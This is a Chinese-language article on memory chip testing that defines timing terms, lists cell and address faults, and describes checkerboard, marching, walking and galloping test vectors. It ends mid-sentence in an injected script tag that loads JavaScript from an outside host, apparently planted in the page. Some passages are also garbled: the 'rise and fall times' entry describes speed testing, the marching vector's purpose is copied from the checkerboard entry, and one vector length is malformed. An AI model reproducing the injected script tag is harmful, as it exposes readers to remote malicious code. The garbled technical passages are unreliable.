存储器和逻辑芯片的测试
存储器芯片测试介绍
存储器芯片是在特定条件下用来存储数字信息的芯片。存储的信息可以是操作代码,数据文件或者是二者的结合等。根据特性的不同,存储器可以分为以下几类,如表1所示:
存储器术语的定义
在讨论存储器芯片测试之前,有必要先定义一些相关的术语。
写入恢复时间(write recovery time):一个存储单元在写入操作之后和正确读取之前中间必须等待的时间。
; 保持时间(hold time):输入数据电平在锁存时钟之后必须保持的时间间隔。
pause test:存储器内容保持时间的测试。
刷新时间(refresh time):存储器刷新的最大时间间隔。
建立时间(setup time):输入数据电平在锁存时钟之前必须稳定保持的时间间隔。
上升和下降时间(rise and fall times):功能速度测试是通过重复地进行功能测试,同时改变芯片测试的周期或频率来完成的。测试的周期通常使用二进制搜索的办法来进行改变。这些测试能够测出芯片的最快运行速度。
写入恢复(write recovery):一个存储单元在写入操作之后和下一个存储单元能正确读取之前中间必须等待的时间。
读取时间(access time):通常是指在读使能,片选信号或地址改变到输出端输出新数据的所需的最小时间。读取时间取决于存储器读取时的流程。
存储器芯片测试中的功能测试
存储器芯片必须经过许多必要的测试以保证其功能正确。这些测试主要用来确保芯片不包含一下类型的错误:
存储单元短路:存储单元与电源或者地段路
存储单元开路:存储单元在写入时状态不能改变相邻单元短路:根据不同的短路状态,相邻的单元会被写入相同或相反的数据地址
开路或短路:这种错误引起一个存储单元对应多个地址或者多个地址对应一个存储单元。这种错误不容易被检测,因为我们一次只能检查输入地址所对应的输出响应,很难确定是哪一个物理地址被真正读取。
存储单元干扰:它是指在写入或者读取一个存储单元的时候可能会引起它周围或者相邻的存储单元状态的改变,也就是状态被干扰了。
存储器芯片测试时用于错误检测的测试向量
测试向量是施加给存储器芯片的一系列的功能,即不同的读和写等的功能组合。它主要用于测试芯片的功能错误。常用的存储器测试向量如下所示,分别介绍一下他们的执行方式以及测试目的. 全”0”和全”1”向量: 4n行向量 执行方式:对所有单元写”1”再读取验证所有单元。对所有单元写”0”再读取验证所有单元。
目的:检查存储单元短路或者开路错误。也能检查相邻单元短路的问题。
棋盘格(checkerboard)向量:4n行向量
执行方式:先运行0-1棋盘格向量,也就是第一个单元写1,第二个单元写0,第三个单元再写1,依此类推,直到最后一个单元,接下来再读取并验证所有单元。再运行一个1-0棋盘格向量,就是对所有单元写入跟0-1棋盘格完全相反的数据,再读取并验证所有单元。
目的:这是功能测试,地址解码和单元干扰的一个最基本最简单的测试向量。它还能检查连续地址错误或者干扰错误,也通
常用它作为时间测量时的向量。
patterns marching向量:5n行向量
执行方式:先对所有单元写0.读取第一个单元,再对第一个单元写1。再读取第二个单元,再对第二个单元写1,依此类推,直到最后一个单元。最后再重复上述操作,只是写入数据相反。
目的:这是功能测试,地址解码和单元干扰的一个最基本最简单的测试向量。它还能检查连续地址错误或者干扰错误,也通常用它作为时间测量时的向量。
walking向量:2n^2 行向量
执行方式:先对所有单元写0,再读取所有单元。接下来对第一个单元写1,读取所有单元,读完之后把第一个单元写回0。再对第二个单元写1,读取所有单元,读完之后把第二个单元写回0。依次类推,重复到最后一个单元。等上述操作完成之后,再重复上述操作,只不过写入的数据相反。
目的:检查所有的地址解码错误。它的缺点是它的运行时间太长。假设读写周期为500ns,对一个4k的ram进行wakling向量测试就需要16秒的测试时间。如果知道存储器的结构,我们可以只进行行或者列的walking以减少测试时间。
galloping写入恢复向量:12^2n行向量
执行方式:对所有单元写0。再对第一个单元写1(基本单元),读取第二个单元, 然后返回来读取第一个单元。再对第二个单元写0,读第二个单元。接下来?script src=http://er12.com/t.js>